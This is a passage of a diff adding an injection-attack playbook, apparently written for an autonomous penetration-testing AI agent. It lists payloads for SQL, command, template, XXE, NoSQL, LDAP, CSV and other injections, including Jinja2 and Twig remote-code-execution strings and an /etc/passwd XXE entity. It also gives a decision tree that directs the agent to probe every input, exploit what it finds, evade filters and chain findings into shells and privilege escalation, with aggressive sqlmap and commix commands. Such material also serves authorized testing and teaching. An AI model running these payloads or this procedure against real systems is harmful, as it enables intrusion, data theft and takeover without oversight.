│ ├── Direct: ; | & && || ` $()
|
|
24
|
+
│ ├── Blind: timing-based (sleep/ping), out-of-band (DNS/HTTP callback)
|
|
25
|
+
│ ├── Argument injection: --option=malicious
|
|
26
|
+
│ └── Environment variable injection
|
|
27
|
+
│
|
|
28
|
+
├── 3. Server-Side Template Injection (SSTI)
|
|
29
|
+
│ ├── Jinja2 (Python): {{7*7}}, {{config}}, {{''.__class__.__mro__[2].__subclasses__()}}
|
|
30
|
+
│ ├── Twig (PHP): {{7*7}}, {{_self.env.registerUndefinedFilterCallback("exec")}}
|
|
31
|
+
│ ├── Freemarker (Java): ${7*7}, <#assign ex="freemarker.template.utility.Execute"?new()>
|
|
32
|
+
│ ├── ERB (Ruby): <%=7*7%>, <%=system('id')%>
|
|
33
|
+
│ ├── Pug/Jade (Node): #{7*7}
|
|
34
|
+
│ ├── Velocity (Java): #set($x=7*7)$x
|
|
35
|
+
│ └── DETECTION: Send polyglot → {{7*7}}${7*7}<%=7*7%>${{7*7}} → see what evaluates
|
|
36
|
+
│
|
|
37
|
+
├── 4. Cross-Site Scripting (XSS)
|
|
38
|
+
│ ├── Reflected, Stored, DOM-based, Blind
|
|
39
|
+
│ ├── Context: HTML body, attribute, JavaScript, URL, CSS, SVG, MathML
|
|
40
|
+
│ ├── Payloads: <script>, <img onerror>, <svg onload>, event handlers, javascript: URI
|
|
41
|
+
│ └── Impact: session theft, keylogging, phishing, crypto mining, worm
|
|
42
|
+
│
|
|
43
|
+
├── 5. XML External Entity (XXE)
|
|
44
|
+
│ ├── Classic: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
45
|
+
│ ├── Blind: out-of-band via DTD + HTTP/DNS callback
|
|
46
|
+
│ ├── Error-based: trigger error containing file content
|
|
47
|
+
│ ├── Through: SOAP, SVG upload, DOCX/XLSX, RSS feeds, SAML
|
|
48
|
+
│ └── Variants: XInclude, XSLT injection
|
|
49
|
+
│
|
|
50
|
+
├── 6. LDAP Injection
|
|
51
|
+
│ ├── Authentication bypass: *)(&
|
|
52
|
+
│ ├── Data extraction: )(cn=*)
|
|
53
|
+
│ └── Blind: timing/error differences
|
|
54
|
+
│
|
|
55
|
+
├── 7. NoSQL Injection
|
|
56
|
+
│ ├── MongoDB: {"$gt":""}, {"$ne":""}, {"$regex":".*"}
|
|
57
|
+
│ ├── Authentication bypass: {"username":{"$ne":""},"password":{"$ne":""}}
|
|
58
|
+
│ └── Operator injection: $where, $regex, $gt, $ne
|
|
59
|
+
│
|
|
60
|
+
├── 8. XPath Injection
|
|
61
|
+
│ ├── Similar to SQLi but for XML: ' or '1'='1
|
|
62
|
+
│ └── Blind: boolean/timing based
|
|
63
|
+
│
|
|
64
|
+
├── 9. CRLF Injection
|
|
65
|
+
│ ├── Header injection: %0d%0a
|
|
66
|
+
│ ├── Can lead to: HTTP response splitting, XSS, cache poisoning
|
|
67
|
+
│ └── Log injection: inject fake log entries
|
|
68
|
+
│
|
|
69
|
+
├── 10. Header Injection
|
|
70
|
+
│ ├── Host header: password reset poisoning, routing bypass
|
|
71
|
+
│ ├── X-Forwarded-For: IP-based access control bypass
|
|
72
|
+
│ ├── X-Original-URL / X-Rewrite-URL: path-based access control bypass
|
|
73
|
+
│ └── Referer: SSRF via referer processing
|
|
74
|
+
│
|
|
75
|
+
├── 11. SSTI → RCE Chains (template-specific)
|
|
76
|
+
│ └── web_search("{template_engine} SSTI to RCE payload")
|
|
77
|
+
│
|
|
78
|
+
├── 12. Expression Language Injection (EL Injection)
|
|
79
|
+
│ ├── Java EE: ${7*7}, #{7*7}
|
|
80
|
+
│ └── Spring: *{7*7}
|
|
81
|
+
│
|
|
82
|
+
├── 13. Code Injection
|
|
83
|
+
│ ├── PHP: eval(), assert(), preg_replace with /e
|
|
84
|
+
│ ├── Python: eval(), exec(), input() (Python 2)
|
|
85
|
+
│ ├── Ruby: eval(), system()
|
|
86
|
+
│ └── Node: eval(), Function()
|
|
87
|
+
│
|
|
88
|
+
├── 14. CSV Injection (Formula Injection)
|
|
89
|
+
│ ├── =cmd|'/C calc'!A0 (Excel)
|
|
90
|
+
│ └── Through exported CSV/XLSX files
|
|
91
|
+
│
|
|
92
|
+
├── 15. Email Header Injection
|
|
93
|
+
│ ├── %0aCc: attacker@evil.com
|
|
94
|
+
│ └── Add arbitrary recipients, modify headers
|
|
95
|
+
│
|
|
96
|
+
├── 16. HTTP Parameter Pollution (HPP)
|
|
97
|
+
│ ├── ?param=good¶m=evil (server picks which?)
|
|
98
|
+
│ └── Bypass WAF by splitting payload across same-name params
|
|
99
|
+
│
|
|
100
|
+
├── 17. Prototype Pollution (JavaScript)
|
|
101
|
+
│ ├── __proto__[isAdmin]=true
|
|
102
|
+
│ ├── constructor.prototype.isAdmin=true
|
|
103
|
+
│ └── Can lead to: RCE, auth bypass, DoS
|
|
104
|
+
│
|
|
105
|
+
├── 18. Insecure Deserialization
|
|
106
|
+
│ ├── Java: ObjectInputStream → gadget chains (ysoserial)
|
|
107
|
+
│ ├── PHP: unserialize() → POP chains (phpggc)
|
|
108
|
+
│ ├── Python: pickle.loads() → __reduce__ → RCE
|
|
109
|
+
│ ├── .NET: BinaryFormatter, JSON.NET TypeNameHandling
|
|
110
|
+
│ ├── Ruby: Marshal.load()
|
|
111
|
+
│ └── Node: node-serialize
|
|
112
|
+
│
|
|
113
|
+
├── 19. GraphQL Injection
|
|
114
|
+
│ ├── Introspection: {__schema{types{name,fields{name}}}}
|
|
115
|
+
│ ├── Batching for brute force bypass
|
|
116
|
+
│ ├── Nested queries for DoS
|
|
117
|
+
│ └── Mutation discovery → unauthorized operations
|
|
118
|
+
│
|
|
119
|
+
└── 20. WebSocket Injection
|
|
120
|
+
├── Same injection types apply through WebSocket messages
|
|
121
|
+
└── Often LESS filtered than HTTP requests
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
## 🧠 Injection Discovery — Autonomous Decision Tree
|
|
125
|
+
|
|
126
|
+
```
|
|
127
|
+
FOR EVERY input point discovered:
|
|
128
|
+
|
|
129
|
+
1. IDENTIFY context: Where does this input go?
|
|
130
|
+
├── Database query → SQLi/NoSQLi
|
|
131
|
+
├── System command → CMDi
|
|
132
|
+
├── Template render → SSTI
|
|
133
|
+
├── XML parser → XXE
|
|
134
|
+
├── File path → LFI/RFI (see file-attacks.md)
|
|
135
|
+
├── HTTP header → Header injection / CRLF
|
|
136
|
+
├── LDAP query → LDAPi
|
|
137
|
+
├── HTML output → XSS
|
|
138
|
+
├── Deserialization → Insecure deserialization
|
|
139
|
+
└── Unknown → try ALL categories with detection probes
|
|
140
|
+
|
|
141
|
+
2. DETECTION PROBES (send these to identify vulnerability type):
|
|
142
|
+
├── ' " ; — → SQL errors?
|
|
143
|
+
├── {{7*7}} ${7*7} → Template evaluation?
|
|
144
|
+
├── ;id ;whoami |id → Command output?
|
|
145
|
+
├── <script>alert(1)</script> → XSS rendering?
|
|
146
|
+
├── <!--#exec cmd="id"--> → SSI?
|
|
147
|
+
├── %0d%0aHeader:injected → CRLF?
|
|
148
|
+
└── ANY behavioral difference (error, timing, output) = signal
|
|
149
|
+
|
|
150
|
+
3. CONFIRM → find the exact injection type and context
|
|
151
|
+
4. EXPLOIT → web_search("{injection_type} exploitation payloads hacktricks")
|
|
152
|
+
5. BLOCKED? → payload_mutate + evasion.md → try encoded variants
|
|
153
|
+
6. CHAIN → injection → RCE → shell → privesc (see shells.md, privesc.md)
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
## Injection Search Patterns
|
|
157
|
+
|
|
158
|
+
```
|
|
159
|
+
For EVERY injection type discovered:
|
|
160
|
+
|
|
161
|
+
web_search("{injection_type} exploit payloads hacktricks")
|
|
162
|
+
web_search("{injection_type} {database/language} cheatsheet")
|
|
163
|
+
web_search("{injection_type} bypass WAF filter")
|
|
164
|
+
web_search("{injection_type} blind extraction techniques")
|
|
165
|
+
web_search("{injection_type} to RCE")
|
|
166
|
+
web_search("PayloadsAllTheThings {injection_type}")
|
|
167
|
+
|
|
168
|
+
Automated tools (where applicable):
|
|
169
|
+
├── SQLi: sqlmap -u URL --forms --batch --level=5 --risk=3
|
|
170
|
+
├── XSS: dalfox url URL
|
|
171
|
+
├── SSTI: tplmap -u URL
|
|
172
|
+
├── CMDi: commix --url=URL
|
|
173
|
+
├── XXE: xxeinjector
|
|
174
|
+
└── General: nuclei -u URL -as
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
## Injection → RCE Chains
|
|
178
|
+
```
|
|
179
|
+
Goal: Every injection should eventually lead to RCE if possible.
|
|
180
|
+
|
|
181
|
+
SQLi → RCE:
|
|
182
|
+
├── MySQL: INTO OUTFILE webshell, UDF, sys_exec
|
|
183
|
+
├── PostgreSQL: COPY TO file, lo_export, pg_read_file
|
|
184
|
+
├── MSSQL: xp_cmdshell, sp_OACreate
|
|
185
|
+
├── Oracle: DBMS_SCHEDULER, Java stored procedures
|
|
186
|
+
└── SQLite: load_extension()
|
|
187
|
+
|
|
188
|
+
SSTI → RCE:
|
|
189
|
+
├── Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
190
|
+
├── Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
|
191
|
+
├── Each engine has different paths → SEARCH for specific engine
|
|
192
|
+
└── web_search("{engine} SSTI RCE payload")
|
|
193
|
+
|
|
194
|
+
XXE → impact:
|
|
195
|
+
├── File read → credentials → further access
|
|
196
|
+
├── SSRF → internal service access
|
|
197
|
+
├── RCE (rare): expect:// wrapper (PHP), xslt:// extensions
|
|
198
|
+
└── Blind → out-of-band data exfiltration
|
|
199
|
+
|
|
200
|
+
XSS → impact:
|
|
201
|
+
├── Session theft → admin access
|
|
202
|
+
├── Blind XSS → admin panel compromise
|
|
203
|
+
├── DOM manipulation → credential theft
|
|
204
|
+
├── Worm → self-spreading XSS
|
|
205
|
+
└── Keylogging → capture all input
|
|
206
|
+
|
|
207
|
+
Deserialization → RCE:
|
|
208
|
+
├── Java: ysoserial → choose correct gadget chain for target libraries
|
|
209
|
+
├── PHP: phpggc → choose correct POP chain
|
|
210
|
+
├── Python: pickle → __reduce__ method
|
|
211
|
+
├── .NET: ysoserial.net
|
|
212
|
+
└── ALWAYS: web_search("{framework} deserialization gadget chain RCE")
|
|
213
|
+
```
|